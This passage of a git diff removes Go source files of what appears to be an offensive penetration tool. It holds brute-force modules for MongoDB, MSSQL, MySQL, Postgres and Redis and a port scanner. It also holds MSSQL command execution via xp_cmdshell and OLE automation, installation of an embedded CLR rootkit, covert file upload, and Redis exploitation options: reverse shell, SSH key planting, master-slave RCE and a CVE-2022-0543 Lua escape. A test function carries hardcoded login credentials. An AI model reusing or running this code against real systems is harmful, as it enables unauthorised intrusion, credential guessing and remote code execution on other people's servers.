:= string(reply[0:count]) - if strings.Contains(text, "ismaster") { - _, err = conn.Write(data2) - if err != nil { - return false, err - } - count, err := conn.Read(reply) - if err != nil { - return false, err - } - text := string(reply[0:count]) - if strings.Contains(text, "totalLinesWritten") { - flag = true - Println(fmt.Sprintf("[+] Mongodb %v unauthorized", info.Host)) - } - } - return flag, nil -} - -func MongodbExec(session *mgo.Session) (string, error) { - var s string - dbs, err := session.DatabaseNames() - for _, db := range dbs { - if collections, err := session.DB(db).CollectionNames(); err == nil { - s += fmt.Sprintf("%s %v\n", db, collections) - } - } - if err != nil { - return "", err - } - return s, nil -} diff --git a/cmd/mssql.go b/cmd/mssql.go deleted file mode 100644 index c44ab4b..0000000 --- a/cmd/mssql.go +++ /dev/null @@ -1,518 +0,0 @@ -package cmd - -import ( - "Yasso/config" - "database/sql" - _ "embed" - "encoding/hex" - "fmt" - "github.com/cheggaaa/pb/v3" - _ "github.com/denisenkom/go-mssqldb" - "github.com/olekukonko/tablewriter" - "github.com/spf13/cobra" - "io/ioutil" - "math" - "os" - "strconv" - "strings" - "time" -) - -/* - 内网mssql数据库比较多,可以完善一下clr和xp_cmdshell,spoacreate -*/ -var ( - HelpWarSQLKit int - InWarSQLKit int - UnWarSQLKit int - ExecuteMethod int - UploadFile []string - WarSQLKitCommand string - WarSQLCommand string -) - -var MssqlCmd = &cobra.Command{ - Use: "mssql", - Short: "SQL Server burst module and extend tools (not support proxy)", - Run: func(cmd *cobra.Command, args []string) { - if Hosts == "" && ConnHost == "" { - _ = cmd.Help() - } else { - MssqlBurpByUser() - } - }, -} - -var ( - conn = new(setting) -) - -func init() { - MssqlCmd.Flags().IntVar(&HelpWarSQLKit, "kithelp", 0, "print SQLKit Use help") - MssqlCmd.Flags().IntVar(&InWarSQLKit, "inkit", 0, "install mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]") - MssqlCmd.Flags().IntVar(&UnWarSQLKit, "unkit", 0, "uninstall mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]") - MssqlCmd.Flags().StringVar(&WarSQLKitCommand, "cld", "", "Execute WarSQLKit Command (eg.) --cld \"whoami\"") - MssqlCmd.Flags().StringVarP(&WarSQLCommand, "sql", "s", "", "Execute sql command") - MssqlCmd.Flags().StringVarP(&SQLCommand, "cmd", "c", "", "Execute System command") - MssqlCmd.Flags().StringVar(&ConnHost, "hostname", "", "Remote Connect mssql address(brute param need false)") - MssqlCmd.Flags().StringVar(&LoginUser, "user", "sa", "Login ssh username") - MssqlCmd.Flags().StringVar(&LoginPass, "pass", "", "Login ssh password") - MssqlCmd.Flags().IntVar(&ExecuteMethod, "method", 1, "Execute System command method [1,xpshell] [2,oleshell]") - MssqlCmd.Flags().StringArrayVar(&UploadFile, "upload", nil, "Use ole upload file (.eg) source,dest") -} - -func MssqlBurpByUser() { - if BrutePort == 0 { - BrutePort = 1433 - } - var ips []string - var err error - if Hosts != "" && ConnHost == "" { - ips, err = ResolveIPS(Hosts) - if err != nil { - Println(fmt.Sprintf("resolve hosts address failed %v", err)) - return - } - if BruteFlag == true { - users, pass := ReadTextToDic("mssql", UserDic, PassDic) - Println("[*] Brute Module [mssql]") - Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) - SwitchBurp("mssql", users, pass, ips, BrutePort, Runtime, TimeDuration, "") - } else { - Println("[*] May be you want to brute? try to add --crack") - } - } - if Hosts == "" && ConnHost != "" && LoginUser != "" && LoginPass != "" { - - db, status, err := MssqlConn(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass) - if err != nil { - Println(fmt.Sprintf("[!] Login mssql failed %v", err)) - return - } - if db != nil && status == true { - conn.Setting(db) - switch { - case UnWarSQLKit > 0 && UnWarSQLKit <= 2: - conn.Uninstall_clr(UnWarSQLKit) - case InWarSQLKit > 0 && InWarSQLKit <= 2: - conn.Install_clr(InWarSQLKit) - case SQLCommand != "": - if ExecuteMethod == 1 { - Println("[+] Execute Method: xp_cmdshell") - conn.xp_shell(SQLCommand) - } else if ExecuteMethod == 2 { - Println("[+] Execute Method: ole echo") - conn.sp_shell(SQLCommand) - } - case HelpWarSQLKit > 0 && HelpWarSQLKit <= 2: - WarSQLKitHelp(HelpWarSQLKit) - case len(UploadFile) == 1: - filelist := strings.Split(UploadFile[0], ",") - if len(filelist) == 2 { - conn.UploadFile(filelist[0], filelist[1]) - } else { - Println("[!] upload file only need 2 params") - } - break - case WarSQLKitCommand != "": - conn.WarSQLKitShell(WarSQLKitCommand) - case WarSQLCommand != "": - r, err := SQLExecute(conn.Conn, WarSQLCommand) - if err != nil { - return - } - for i, s := range r.Rows { - Println(s[i]) - } - default: - conn.UnSetting() - } - } - } -} - -//go:embed static/WarSQLKit.dll -var WarSQLKitName []byte - -//go:embed static/SharpSQLKit.txt -var SharpSQLKit string - -type setting struct { - Conn *sql.DB - Command string -} - -func MssqlConn(info config.HostIn, user, pass string) (*sql.DB, bool, error) { - var flag = false - db, err := sql.Open("mssql", fmt.Sprintf("sqlserver://%v:%v@%v:%v/?connection&timeout=%v&encrypt=disable", user, pass, info.Host, info.Port, info.TimeOut)) - if err == nil { - db.SetConnMaxLifetime(time.Duration(info.TimeOut)) - db.SetConnMaxIdleTime(time.Duration(info.TimeOut)) - db.SetMaxIdleConns(0) - err = db.Ping() - if err == nil { - flag = true - return db, flag, nil - } - } - - return db, flag, err -} - -// 设置数据库连接 - -func (s *setting) Setting(conn *sql.DB) { - s.Conn = conn -} - -func (s *setting) check_configuration(option string, value int) bool { - var Command = fmt.Sprintf(`SELECT cast(value as INT) as b FROM sys.configurations where name = '%s';`, option) - r, err := SQLExecute(s.Conn, Command) - if err != nil { - return false - } - if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) { - return true - } - return false -} - -func (s *setting) set_configuration(option string, value int) bool { - // 设置 - var Command = fmt.Sprintf("exec master.dbo.sp_configure '%v','%v';RECONFIGURE;", option, value) - _, err := SQLExecute(s.Conn, Command) - if err != nil { - return false - } - return s.check_configuration(option, value) -} - -func (s *setting) set_permission_set() bool { - var Command = fmt.Sprintf("ALTER DATABASE master SET TRUSTWORTHY ON;") - Println("[+] ALTER DATABASE master SET TRUSTWORTHY ON") - _, err := SQLExecute(s.Conn, Command) - if err != nil { - Println("[!] ALTER DATABASE master SET TRUSTWORTHY ON Failed") - return false - } - return true -} - -// 启用xp_cmdshell - -func (s *setting) Enable_xp_cmdshell() bool { - if !s.set_configuration("show advanced options", 1) { - Println("[!] cannot ebable 'show advanced options'") - return false - } - if !s.set_configuration("xp_cmdshell", 1) { - Println("[!] cannot enable 'xp_cmdshell'") - return false - } - return true -} - -// 关闭xp_cmdshell - -func (s *setting) Disable_xp_cmdshell() bool { - if !s.set_configuration("show advanced options", 1) { - Println("[!] cannot enable 'show advanced options'") - return false - } - if !s.set_configuration("xp_cmdshell", 0) { - Println("[!] cannot disable 'xp_cmdshell'") - return false - } - if !s.set_configuration("show advanced options", 0) { - Println("[!] cannot disable 'show advanced options'") - return false - } - return true -} - -func (s *setting) Enable_ole() bool { - if !s.set_configuration("show advanced options", 1) { - Println("[!] cannot enable 'show advanced options'") - return false - } - if !s.set_configuration("Ole Automation Procedures", 1) { - Println("[!] cannot enable 'Ole Automation Procedures'") - return false - } - return true -} - -func (s *setting) Disable_ole() bool { - if !s.set_configuration("show advanced options", 1) { - Println("[!] cannot enable 'show advanced options'") - return false - } - if !s.set_configuration("Ole Automation Procedures", 0) { - Println("[!] cannot disable 'Ole Automation Procedures'") - return false - } - if !s.set_configuration("show advanced options", 0) { - Println("[!] cannot disable 'show advanced options'") - return false - } - return true -} - -func (s *setting) sp_shell(Command string) bool { - if s.check_configuration("Ole Automation Procedures", 0) && !s.Enable_ole() { - return false - } - var sqlstr = fmt.Sprintf(`declare @shell int,@exec int,@text int,@str varchar(8000) -exec sp_oacreate 'wscript.shell',@shell output -exec sp_oamethod @shell,'exec',@exec output,'c:\windows\system32\cmd.exe /c %v' -exec sp_oamethod @exec, 'StdOut', @text out; -exec sp_oamethod @text, 'ReadAll', @str out -select @str`, Command) - Println(fmt.Sprintf("[+] Command: %v", Command)) - r, err := SQLExecute(s.Conn, sqlstr) - if err != nil { - Println(fmt.Sprintf("[!] exec ole command failed %v", err)) - return false - } - for i, b := range r.Rows { - Println(b[i]) - } - return true -} - -func (s *setting) xp_shell(Command string) bool { - - if s.set_configuration("xp_cmdshell", 0) && !s.Enable_xp_cmdshell() { - return false - } - Println(fmt.Sprintf("[+] Command: %v", Command)) - var sqlstr = fmt.Sprintf("exec master..xp_cmdshell '%v'", Command) - r, err := SQLExecute(s.Conn, sqlstr) - if err != nil { - Println(fmt.Sprintf("[!] exec xp_cmdshell command failed %v", err)) - return false - } - for _, b := range r.Rows { - Println(b[0]) - } - return true -} - -func WarSQLKitToHex() string { - return hex.EncodeToString(WarSQLKitName) -} - -func (s *setting) CREATE_ASSEMBLY(flag int) bool { - var KitHex string - - if flag == 1 { - Println("[+] SQLKit ==> WarSQLKit") - KitHex = WarSQLKitToHex() - } else if flag == 2 { - Println("[+] SQLKit ==> SharpSQLKit") - KitHex = SharpSQLKit - } - var Command = fmt.Sprintf(`CREATE ASSEMBLY [CLR_module] - AUTHORIZATION [dbo] - FROM 0x%s - WITH PERMISSION_SET = UNSAFE;`, KitHex) - _, err := SQLExecute(s.Conn, Command) - if err != nil { - Println(fmt.Sprintf("[!] Import the assembly failed %v", err)) - return false - } - Println("[+] Import the assembly") - return true -} - -func (s *setting) CREATE_PROCEDURE(flag int) bool { - var Command string - if flag == 1 { - Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[sp_cmdExec] @cmd NVARCHAR (MAX), @result NVARCHAR (MAX) OUTPUT AS EXTERNAL NAME [CLR_module].[StoredProcedures].[CmdExec];`) - } else if flag == 2 { - Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[ClrExec] -@cmd NVARCHAR (MAX) -AS EXTERNAL NAME [CLR_module].[StoredProcedures].[ClrExec]`) - } - _, err := SQLExecute(s.Conn, Command) - if err != nil { - Println(fmt.Sprintf("[!] Link the assembly to a stored procedure failed %v", err)) - return false - } - Println("[+] Link the assembly to a stored procedure") - return true -} - -func (s *setting) Install_clr(flag int) bool { - if !s.set_permission_set() { - return false - } - if !s.CREATE_ASSEMBLY(flag) { - return false - } - if !s.CREATE_PROCEDURE(flag) { - return false - } - Println("[+] Install SQLKit successful!") - Println("[+] Please Use SQL Connect Tools to Execute") - Println("[+] WarSQLKit Command Help --kithelp [1,2]") - return true -} - -func (s *setting) Uninstall_clr(flag int) bool { - var Command string - if flag == 1 { - Println("[+] SQLKit ==> WarSQLKit") - Command = fmt.Sprintf(`drop PROCEDURE dbo.sp_cmdExec -drop assembly CLR_module`) - } else if flag == 2 { - Println("[+] SQLKit ==> SharpSQLKit") - Command = fmt.Sprintf(`drop PROCEDURE dbo.ClrExec -drop assembly CLR_module`) - } - _, err := SQLExecute(s.Conn, Command) - if err != nil { - Println(fmt.Sprintf("[!] Uninstall SQLKit failed %v", err)) - return false - } - Println("[+] Uninstall SQLKit successful!") - return true -} - -func ReadFileToSplitHex(path string, splitLength int) []string { - data, err := ioutil.ReadFile(path) - if err != nil { - - return []string{} - } - HexData := hex.EncodeToString(data) - var hexList []string - num := int(math.Ceil(float64(len(HexData) / splitLength))) - for i := 0; i < num; i++ { - hexList = append(hexList, HexData[i*splitLength:(i+1)*splitLength]) - } - hexList = append(hexList, HexData[num*splitLength:]) - // 返回分割好的list - return hexList -} - -func (s *setting) UploadFile(source, dest string) { - Println(fmt.Sprintf("[+] Ole Upload File %s to %s", source, dest)) - if s.set_configuration("Ole Automation Procedures", 0) && !s.Enable_ole() { - Println("[!] setting Ole Automation or enable Ole failed") - return - } - var copyCommand = `copy /b` - var splitLength = 250000 - Hexlist := ReadFileToSplitHex(source, splitLength) - bar := pb.StartNew(len(Hexlist)) - - for i, body := range Hexlist { - var text2 = fmt.Sprintf("%v_%v.config_txt", dest, i) - var sqlstr = fmt.Sprintf(`DECLARE @ObjectToken INT - EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT - EXEC sp_OASetProperty @ObjectToken, 'Type', 1 - EXEC sp_OAMethod @ObjectToken, 'Open' - EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0x%s - EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL,'%s', 2 - EXEC sp_OAMethod @ObjectToken, 'Close' - EXEC sp_OADestroy @ObjectToken`, body, text2) - _, err := SQLExecute(s.Conn, sqlstr) - if err != nil { - Println(fmt.Sprintf("\n[!] %s_%v.config_txt Error Uploading", dest, i)) - return - } - if i == 0 { - copyCommand = copyCommand + ` "` + text2 + `"` - } else { - copyCommand = copyCommand + " +" + ` "` + text2 + `"` - } - time.Sleep(1000 * time.Millisecond) - if s.File_Exists(text2, 1) { - bar.Increment() - //Println()(fmt.Sprintf("[+] %s_%v.config_txt Upload completed",dest,i)) - } else { - Println(fmt.Sprintf("\n[!] %s_%v.config_txt Error Uploading", dest, i)) - return - } - } - copyCommand = copyCommand + ` "` + dest + `"` - var shell = fmt.Sprintf(` - DECLARE @SHELL INT - EXEC sp_oacreate 'wscript.shell', @SHELL OUTPUT - EXEC sp_oamethod @SHELL, 'run' , NULL, 'c:\windows\system32\cmd.exe /c`) - _, err := SQLExecute(s.Conn, shell+copyCommand+"'") - if err != nil { - Println(fmt.Sprintf("%v", err)) - return - } - Println("\n[+] copy file success") - time.Sleep(1000 * time.Millisecond) - if s.File_Exists(dest, 1) { - sqlstr := shell + fmt.Sprintf(`del %s*.config_txt`, dest) + "'" - _, err := SQLExecute(s.Conn, sqlstr) - if err != nil { - Println(fmt.Sprintf("[!] del file failed %v", err)) - return - } - Println(fmt.Sprintf("\n[+] %s Upload completed", source)) - } -} - -func (s *setting) File_Exists(path string, value int) bool { - var Command = fmt.Sprintf(` -DECLARE @r INT -EXEC master.dbo.xp_fileexist '%v', @r OUTPUT -SELECT @r as n`, path) - r, err := SQLExecute(s.Conn, Command) - if err != nil { - return false - } - if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) { - return true - } - return false -} - -func WarSQLKitHelp(flag int) { - table := tablewriter.NewWriter(os.Stdout) - table.SetHeader([]string{"SQL Command", "Introduce"}) - table.SetRowLine(true) - var help [][]string - if flag == 1 { - help = config.WarKitHelp - } else if flag == 2 { - help = config.SharpKitHelp - } - for _, v := range help { - table.Append(v) - } - table.Render() -} - -func (s *setting) UnSetting() { - s.Conn = nil -} - -func (s *setting) WarSQLKitShell(cld string) { - var Command = fmt.Sprintf(`declare @shell varchar(8000); -EXEC sp_cmdExec '%v' ,@shell output -select @shell`, cld) - r, err := SQLExecute(s.Conn, Command) - if err != nil { - Println(fmt.Sprintf("[!] %v", err)) - return - } - for i, s := range r.Rows { - Println(s[i]) - } -} - -func Test() { - db, status, err := MssqlConn(config.HostIn{Host: "192.168.248.128", Port: 1433, TimeOut: 1 * time.Second}, "sa", "admin@123") - if status == true && err == nil { - conn := new(setting) - conn.Setting(db) - conn.UploadFile(`C:\Users\Administrator\Desktop\fscan64.exe`, `1.exe`) - } -} diff --git a/cmd/mysql.go b/cmd/mysql.go deleted file mode 100644 index 3dfda4e..0000000 --- a/cmd/mysql.go +++ /dev/null @@ -1,112 +0,0 @@ -package cmd - -import ( - "Yasso/config" - "context" - "database/sql" - "fmt" - _ "github.com/denisenkom/go-mssqldb" - "github.com/go-sql-driver/mysql" - _ "github.com/go-sql-driver/mysql" - _ "github.com/lib/pq" - "github.com/spf13/cobra" - "net" - "time" -) - -var MysqlCmd = &cobra.Command{ - Use: "mysql", - Short: "MYSQL burst module and extend tools (support proxy)", - Run: func(cmd *cobra.Command, args []string) { - if Hosts == "" && ConnHost == "" { - _ = cmd.Help() - } else { - BruteMysqlByUser() - } - }, -} - -func BruteMysqlByUser() { - if BrutePort == 0 { - BrutePort = 3306 - } - var ips []string - var err error - if Hosts != "" && ConnHost == "" { - ips, err = ResolveIPS(Hosts) - if err != nil { - Println(fmt.Sprintf("resolve hosts address failed %v", err)) - return - } - if BruteFlag == true { - users, pass := ReadTextToDic("mysql", UserDic, PassDic) - Println("[*] Brute Module [mysql]") - Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) - SwitchBurp("mysql", users, pass, ips, BrutePort, Runtime, TimeDuration, "") - } else { - Println("[*] May be you want to brute? try to add --crack") - } - } - if Hosts == "" && ConnHost != "" { - if SQLCommand == "" && SQLShellBool == false { - Println("[*] try to add -C to exec sql command or -shell") - return - } - if SQLCommand != "" && SQLShellBool == false { - db, status, err := MySQLConn(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass) - if err != nil { - Println("mysql conn failed") - return - } - if status == true { - r, err := SQLExecute(db, SQLCommand) - if err != nil { - Println(fmt.Sprintf("sql execute failed %v", err)) - return - } - Println(r.String()) - } - } - if SQLCommand == "" && SQLShellBool == true { - db, status, err := MySQLConn(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass) - if err != nil { - Println("mysql conn failed") - return - } - if status == true { - SQLshell(db, "mysql") - } - } - } -} - -func init() { - MysqlCmd.Flags().StringVarP(&SQLCommand, "cmd", "c", "", "mysql sql command") - MysqlCmd.Flags().StringVar(&ConnHost, "hostname", "", "Remote Connect a Mysql (brute param need false)") - MysqlCmd.Flags().StringVar(&LoginUser, "user", "", "Login ssh username") - MysqlCmd.Flags().StringVar(&LoginPass, "pass", "", "Login ssh password") - MysqlCmd.Flags().BoolVar(&SQLShellBool, "shell", false, "create sql shell to exec sql command") -} - -// mysql 连接 - -func MySQLConn(info config.HostIn, user, pass string) (*sql.DB, bool, error) { - var flag = false - address := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", user, pass, info.Host, info.Port, time.Duration(info.TimeOut)) - - mysql.RegisterDialContext("tcp", func(ctx context.Context, network string) (net.Conn, error) { - return GetConn(network, info.TimeOut) - }) - - db, err := sql.Open("mysql", address) - if err == nil { - db.SetConnMaxLifetime(time.Duration(info.TimeOut)) - db.SetConnMaxIdleTime(time.Duration(info.TimeOut)) - //defer db.Close() - err = db.Ping() - if err == nil { - flag = true - } - } - return db, flag, err -} diff --git a/cmd/postgres.go b/cmd/postgres.go deleted file mode 100644 index 722da18..0000000 --- a/cmd/postgres.go +++ /dev/null @@ -1,59 +0,0 @@ -package cmd - -import ( - "Yasso/config" - "database/sql" - "fmt" - _ "github.com/lib/pq" - "github.com/spf13/cobra" - "time" -) - -var PostgreCmd = &cobra.Command{ - Use: "postgres", - Short: "PostgreSQL burst module (not support proxy)", - Run: func(cmd *cobra.Command, args []string) { - if Hosts == "" { - _ = cmd.Help() - } else { - BrutePostgreByUser() - } - }, -} - -func BrutePostgreByUser() { - if BrutePort == 0 { - BrutePort = 5432 - } - var ips []string - var err error - if Hosts != "" { - ips, err = ResolveIPS(Hosts) - if err != nil { - Println(fmt.Sprintf("resolve hosts address failed %v", err)) - return - } - if BruteFlag == true { - users, pass := ReadTextToDic("postgres", UserDic, PassDic) - Println("[*] Brute Module [postgres]") - Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) - SwitchBurp("postgres", users, pass, ips, BrutePort, Runtime, TimeDuration, "") - } else { - Println("[*] May be you want to brute? try to add --crack") - } - } -} - -func PostgreConn(info config.HostIn, user, pass string) (bool, error) { - var flag = false - db, err := sql.Open("postgres", fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", user, pass, info.Host, info.Port, "postgres", "disable")) - if err == nil { - db.SetConnMaxLifetime(time.Duration(info.TimeOut)) - defer db.Close() - err = db.Ping() - if err == nil { - flag = true - } - } - return flag, err -} diff --git a/cmd/ps.go b/cmd/ps.go deleted file mode 100644 index bb2b8c8..0000000 --- a/cmd/ps.go +++ /dev/null @@ -1,153 +0,0 @@ -package cmd - -import ( - "fmt" - "github.com/panjf2000/ants/v2" - "github.com/spf13/cobra" - "math" - "net" - "strconv" - "strings" - "sync" - "time" -) - -var ( - DefaultPorts = "21,22,80,81,135,139,443,445,1433,3306,5432,5985,6379,7001,3389,8000,8080,8089,9000,9200,11211,27017" - //AlivePort []PortResult -) - -type PortResult struct { - IP string - Port []int -} - -var PortCmd = &cobra.Command{ - Use: "ps", - Short: "The port scanning module will find vulnerable ports (not support proxy)", - Run: func(cmd *cobra.Command, args []string) { - if Hosts == "" { - _ = cmd.Help() - return - } - var ports []int - hosts, _ := ResolveIPS(Hosts) // 解析获取ip地址 - if Ports != "" { - ports, _ = ResolvePORTS(Ports) - } else { - ports, _ = ResolvePORTS(DefaultPorts) - } - Println(fmt.Sprintf("Yasso resolve host len is %v,need scan %v port", len(hosts), len(hosts)*len(ports))) - if len(hosts) <= 0 || len(ports) <= 0 { - // resolve failed - return - } - var AlivePort []PortResult - AlivePort = PortScan(hosts, ports) - for _, rs := range AlivePort { - Println(fmt.Sprintf("%v %v", rs.IP, rs.Port)) - } - }, -} - -func init() { - PortCmd.Flags().DurationVarP(&TimeDuration, "time", "t", 500*time.Millisecond, "Set timeout (eg.) -t 50ms(ns,ms,s,m,h)") - PortCmd.Flags().StringVarP(&Hosts, "hosts", "H", "", "Set `Set `hosts`(The format is similar to Nmap) or ips.txt file path") - PortCmd.Flags().StringVarP(&Ports, "ports", "p", "", "Set `ports`(The format is similar to Nmap)(eg.) 1-2000,3389") - PortCmd.Flags().IntVarP(&Runtime, "runtime", "r", 100, "Set scanner ants pool thread") - rootCmd.AddCommand(PortCmd) -} - -// port scanner - -func PortScan(host []string, ports []int) []PortResult { - var tempPort []PortResult - var wg sync.WaitGroup - - p, _ := ants.NewPoolWithFunc(len(host), func(ip interface{}) { - _ = ants.Submit(func() { - aport := EachScan(ip.(string), ports) - //Println()(aport) - if len(aport) != 0 { - // 扫描完成,加入扫描结果队列 - tempPort = append(tempPort, PortResult{ip.(string), aport}) - } // 将ip赋值给AlivePort*/ - wg.Done() - }) - }) - for _, ip := range host { - if strings.Contains(ip, ":") { - addr := strings.Split(ip, ":")[0] - port, _ := strconv.Atoi(strings.Split(ip, ":")[1]) - if portConn(addr, port) { - Println(fmt.Sprintf("[+] %v %v open", addr, port)) - tempPort = append(tempPort, PortResult{addr, []int{port}}) - } - } else { - wg.Add(1) - _ = p.Invoke(ip) - } - } - wg.Wait() - return tempPort -} - -func EachScan(host string, ports []int) []int { - var aport []int - var wg sync.WaitGroup - // 计算一个协程需要扫描多少端口 - var thread int - // 如果端口数小于协程数量,thread为端口数量 - if len(ports) <= Runtime { - thread = len(ports) - } else { - // 计算端口数量 - thread = Runtime // 协程数量 - } - num := int(math.Ceil(float64(len(ports)) / float64(thread))) // 每个协程的端口数量 - - // 分割端口 - all := map[int][]int{} - for i := 1; i <= thread; i++ { - for j := 0; j < num; j++ { - tmp := (i-1)*num + j - if tmp < len(ports) { - all[i] = append(all[i], ports[tmp]) - } - } - } - //Println()(all) - - for i := 1; i <= thread; i++ { - wg.Add(1) - tmp := all[i] - _ = ants.Submit(func() { - // 1,2 2,3 - //Println()(i,thread) - for _, port := range tmp { - // 遍历每一个端口列表 - if portConn(host, port) { - aport = append(aport, port) // 端口返回true,开放,加入aport列表 - Println(fmt.Sprintf("[+] %v %v open", host, port)) - } - } - wg.Done() - }) - } - wg.Wait() - return aport -} - -func portConn(addr string, port int) bool { - conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", addr, port), TimeDuration) - defer func() { - if conn != nil { - _ = conn.Close() - } - }() - if err == nil { - return true - } else { - return false - } -} diff --git a/cmd/redis.go b/cmd/redis.go deleted file mode 100644 index 69c177a..0000000 --- a/cmd/redis.go +++ /dev/null @@ -1,681 +0,0 @@ -package cmd - -// redis 6379 端口 -import ( - "Yasso/config" - "bufio" - "context" - _ "embed" - "errors" - "fmt" - "github.com/go-redis/redis/v8" - "github.com/spf13/cobra" - "io" - "net" - "os" - "path/filepath" - "strings" - "sync" - "time" -) - -//go:embed static/exp.so -var payload []byte - -var RedisCmd = &cobra.Command{ - Use: "redis", - Short: "Redis burst and Redis extend tools (support proxy)", - Run: func(cmd *cobra.Command, args []string) { - if Hosts == "" && ConnHost == "" { - _ = cmd.Help() - } else { - BruteRedisByUser() - } - }, -} -var ( - RemoteHost string - RemotePublicKey string - LocalHost string - LocalPort int - RemoteSoPath string - IsRCE bool - RedisRCEMethod string -) - -func init() { - RedisCmd.Flags().StringVar(&RemotePublicKey, "rekey", "", "Write public key to Redis (eg.) id_rsa.pub") - RedisCmd.Flags().StringVar(&RemoteHost, "rebound", "", "Rebound shell address (eg.) 192.168.1.1:4444") - RedisCmd.Flags().StringVar(&ConnHost, "hostname", "", "Redis will connect this address") - RedisCmd.Flags().StringVar(&LoginPass, "pass", "", "set login pass") - RedisCmd.Flags().StringVar(&SQLCommand, "sql", "", "Execute redis sql command") - RedisCmd.Flags().StringVar(&LocalHost, "lhost", "", "set local listen host (target redis need connect)") - RedisCmd.Flags().IntVar(&LocalPort, "lport", 20001, "set local listen port (target redis need connect)") - RedisCmd.Flags().StringVar(&RemoteSoPath, "so", "", "set target so path (not must)") - RedisCmd.Flags().StringVar(&RedisRCEMethod, "method", "rce", "rce(master-slave) or lua(CVE-2022-0543)") - RedisCmd.Flags().BoolVar(&IsRCE, "rce", false, "Whether to try rCE vulnerability") - -} - -func BruteRedisByUser() { - if BrutePort == 0 { - BrutePort = 6379 - } - var ips []string - var err error - if Hosts != "" && ConnHost == "" { - ips, err = ResolveIPS(Hosts) - if err != nil { - Println(fmt.Sprintf("resolve hosts address failed %v", err)) - return - } - if BruteFlag == true { - users, pass := ReadTextToDic("redis", UserDic, PassDic) - Println("[*] Brute Module [redis]") - Println("[*] Redis Authorized crack") - Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) - SwitchBurp("redis", users, pass, ips, BrutePort, Runtime, TimeDuration, "") - } else { - Println("[*] May be you want to brute? try to add --crack") - } - } - if Hosts == "" && ConnHost != "" && (RemoteHost != "" || RemotePublicKey != "" || SQLCommand != "") { - var ( - conn net.Conn - status bool - err error - ) - if LoginPass != "" { - conn, status, err = RedisAuthConn(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, "", LoginPass) - if err != nil { - Println(fmt.Sprintf("Redis Auth failed %v", err)) - } - } else { - conn, status, err = RedisUnAuthConn(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, "", LoginPass) - if err != nil { - Println(fmt.Sprintf("Redis UnAuth failed %v", err)) - } - } - if SQLCommand != "" { - RedisExec(conn, SQLCommand) - return - } - if status == true { - RedisExploit(conn, RemoteHost, RemotePublicKey) - } - } - if Hosts == "" && ConnHost != "" && RedisRCEMethod != "" && IsRCE == true && LocalHost != "" { - client := InitRedisClient(ConnHost, BrutePort, LoginPass) - if strings.ToLower(RedisRCEMethod) == "rce" && LocalHost != "" && LocalPort != 0 { - // 主从复制 - RedisRCE(client, LocalHost, LocalPort, RemoteSoPath) - } else if strings.ToLower(RedisRCEMethod) == "lua" { - //lua 沙盒逃逸 - RedisLua(client) - } else { - Println("[*] you need choose a rce method") - return - } - _ = client.Close() - } else { - Println("[*] May be your want use redis extend ? Try to add --rekey or --rebound or --rce rce") - } -} - -// redis config - -type RedisConfig struct { - OS string - PID string - ConfigPath string - Version string - DbFileName string -} - -func RedisAuthConn(info config.HostIn, user, pass string) (net.Conn, bool, error) { - var flag = false - conn, err := GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut) - if err != nil { - return conn, false, err - } - err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut))) - if err != nil { - return conn, false, err - } - // 认证 - _, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass))) - if err != nil { - return conn, false, err - } - reply, err := RedisReply(conn) - if err != nil { - return conn, false, err - } - if strings.Contains(reply, "+OK") { - flag = true - conf := RedisInfo(conn, reply) - Println(fmt.Sprintf("[+] Redis %s:%v Login Success os:[%v] path:[%v] dbfilename:[%v] pid:[%v]", info.Host, info.Port, conf.OS, conf.ConfigPath, conf.DbFileName, conf.PID)) - } - return conn, flag, nil -} - -func RedisUnAuthConn(info config.HostIn, user, pass string) (net.Conn, bool, error) { - _, _ = user, pass - var flag = false - conn, err := GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut) - if err != nil { - return conn, false, err - } - err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut))) - if err != nil { - return conn, false, err - } - _, err = conn.Write([]byte("info\r\n")) - if err != nil { - return conn, false, err - } - reply, err := RedisReply(conn) - if err != nil { - return conn, false, err - } - if strings.Contains(reply, "redis_version") { - flag = true - conf := RedisInfo(conn, reply) - Println(fmt.Sprintf("[+] Redis %s:%v unauthorized dbfilename:[%v] ", info.Host, info.Port, conf.DbFileName)) - } - return conn, flag, nil -} - -func RedisReply(conn net.Conn) (string, error) { - var ( - r string - err error - ) - buf := make([]byte, 5*1024) - for { - count, err := conn.Read(buf) - if err != nil { - break - } - r += string(buf[0:count]) - if count < 5*1024 { - break - } - } - return r, err -} - -// redis get info - -func RedisInfo(conn net.Conn, reply string) RedisConfig { - var ( - dbfilename string - ) - // 读取filename - _, err := conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n"))) - if err != nil { - return RedisConfig{} - } - text, err := 